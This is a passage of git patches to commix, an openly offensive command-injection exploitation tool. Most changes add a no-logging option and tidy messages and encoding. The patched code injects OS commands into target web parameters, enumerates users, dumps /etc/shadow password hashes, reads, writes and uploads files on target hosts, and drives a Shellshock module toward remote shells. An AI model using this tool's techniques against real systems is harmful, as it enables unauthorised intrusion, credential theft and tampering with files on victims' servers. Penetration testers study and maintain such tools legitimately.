output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -309,7 +317,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -351,7 +360,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -366,7 +376,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -406,7 +417,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -416,7 +428,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -476,7 +489,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -488,7 +502,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -498,7 +513,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -512,6 +528,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -521,9 +539,10 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(output)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index d306f0f4ae..771ad24642 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -47,7 +47,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True - new_line = "\n" + # new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output @@ -65,15 +65,15 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, sys.stdout.flush() print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -83,8 +83,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: @@ -92,11 +91,10 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": @@ -155,14 +153,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -184,8 +180,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : @@ -214,14 +210,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 878f794768..8a06d385d2 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -531,8 +531,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - logs.print_logs_notification(filename, url) - raise SystemExit() + # logs.print_logs_notification(filename, url) + # raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index f3e07ab2c1..91ae71fff7 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -78,8 +78,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -107,9 +108,10 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: info_msg = "The target operating system is " + target_os @@ -117,8 +119,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -140,8 +143,9 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if shell != "0": @@ -149,14 +153,16 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) @@ -164,7 +170,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -199,7 +206,8 @@ def enumeration(url, cve, check_header, filename): sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -214,7 +222,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -253,7 +262,8 @@ def enumeration(url, cve, check_header, filename): print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -264,7 +274,8 @@ def enumeration(url, cve, check_header, filename): sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -309,7 +320,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -321,7 +333,8 @@ def enumeration(url, cve, check_header, filename): print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: @@ -332,7 +345,8 @@ def enumeration(url, cve, check_header, filename): sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: warn_msg = "It seems that you don't have permissions to read '" @@ -352,8 +366,8 @@ def file_access(url, cve, check_header, filename): file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): @@ -386,7 +400,7 @@ def file_access(url, cve, check_header, filename): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + info_msg += Style.BRIGHT + " file was created successfully." sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() else: @@ -412,8 +426,8 @@ def file_access(url, cve, check_header, filename): raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -436,7 +450,7 @@ def file_access(url, cve, check_header, filename): if shell: info_msg = "The " + shell info_msg += Style.RESET_ALL + Style.BRIGHT - info_msg += " file was uploaded successfully!\n" + info_msg += " file was uploaded successfully.\n" sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() else: @@ -461,9 +475,10 @@ def file_access(url, cve, check_header, filename): sys.stdout.flush() print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " @@ -481,8 +496,8 @@ def file_access(url, cve, check_header, filename): def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." diff --git a/src/utils/settings.py b/src/utils/settings.py index 89a3e10250..e9bf540e38 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -477,11 +477,11 @@ def sys_argv_errors(): # Current user CURRENT_USER = "whoami" -WIN_CURRENT_USER = "echo %username%" +WIN_CURRENT_USER = "echo %USERNAME%" # The hostname HOSTNAME = "hostname" -WIN_HOSTNAME = "echo %computername%" +WIN_HOSTNAME = "echo %COMPUTERNAME%" # Check if current user is root IS_ROOT = "echo $(id -u)" From a14cefb3d8faa77ee0d2bf47cc9eca81b21d9de4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 24 Apr 2022 09:41:02 +0300 Subject: [PATCH 0118/1023] Fixes https://github.com/commixproject/commix/issues/752 --- .../blind/techniques/time_based/tb_file_access.py | 6 +++--- .../results_based/techniques/classic/cb_file_access.py | 6 +++--- .../results_based/techniques/eval_based/eb_file_access.py | 6 +++--- .../semiblind/techniques/file_based/fb_file_access.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 6 +++--- src/core/modules/shellshock/shellshock.py | 6 +++--- src/utils/settings.py | 2 +- 7 files changed, 19 insertions(+), 19 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 67f49ecee8..3294541324 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -34,7 +34,7 @@ """ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -77,7 +77,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = True - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -168,7 +168,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 20e6042e57..c887fcf06b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -35,7 +35,7 @@ Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -74,7 +74,7 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -165,7 +165,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 087b629f8d..b8461834a3 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -35,7 +35,7 @@ Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -76,7 +76,7 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -156,7 +156,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 7de75b13f1..fd78509b5b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -34,7 +34,7 @@ Read a file from the target host. """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -71,7 +71,7 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http Write to a file on the target host. """ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -150,7 +150,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 771ad24642..c35b7d75a0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -36,7 +36,7 @@ """ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -80,7 +80,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = True - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -169,7 +169,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec # Not yet implemented pass else: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 91ae71fff7..058a575e7e 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -363,7 +363,7 @@ def file_access(url, cve, check_header, filename): # Write to a file on the target host. #------------------------------------- if menu.options.file_write: - file_to_write = menu.options.file_write + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) @@ -414,7 +414,7 @@ def file_access(url, cve, check_header, filename): # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: - file_to_upload = menu.options.file_upload + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) @@ -464,7 